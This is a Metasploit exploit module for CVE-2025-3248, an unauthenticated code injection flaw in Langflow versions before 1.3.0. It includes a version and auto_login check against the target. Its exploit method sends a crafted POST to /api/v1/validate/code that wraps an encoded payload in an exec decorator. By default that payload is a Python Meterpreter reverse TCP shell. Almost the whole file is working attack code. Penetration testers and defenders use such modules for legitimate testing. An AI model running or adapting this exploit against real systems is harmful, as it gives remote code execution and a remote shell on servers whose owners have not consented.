##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow AI RCE',
        'Description' => %q{
          Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.
          A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
        },
        'Author' => [
          'Naveen Sunkavally (Horizon3.ai)', # Vulnerability discovery and PoC
          'Takahiro Yokoyama'                # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-3248'],
          ['URL', 'https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/'],
        ],
        'Platform' => ['python'],
        'Arch' => [ ARCH_PYTHON ],
        'Targets' => [
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2025-04-09',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(7860),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/version')
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    json_version = res&.get_json_document&.fetch('version', nil)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version

    version = Rex::Version.new(json_version)
    return Exploit::CheckCode::Unknown('Failed to get version.') unless version

    return Exploit::CheckCode::Appears("Version #{version} detected. Which is vulnerable even if authentication is enabled.") if version < Rex::Version.new('1.3.0')

    # check if auto_login is enabled or not
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login')
    })
    return Exploit::CheckCode::Appears("Version #{version} detected and authentication is disabled. Which is vulnerable.") if res&.code == 200

    Exploit::CheckCode.Safe("Version #{version} detected and authentication is enabled. which is not vulnerable.")
  end

  def exploit
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => {
        'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n    pass"
      }.to_json
    })
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
  end

end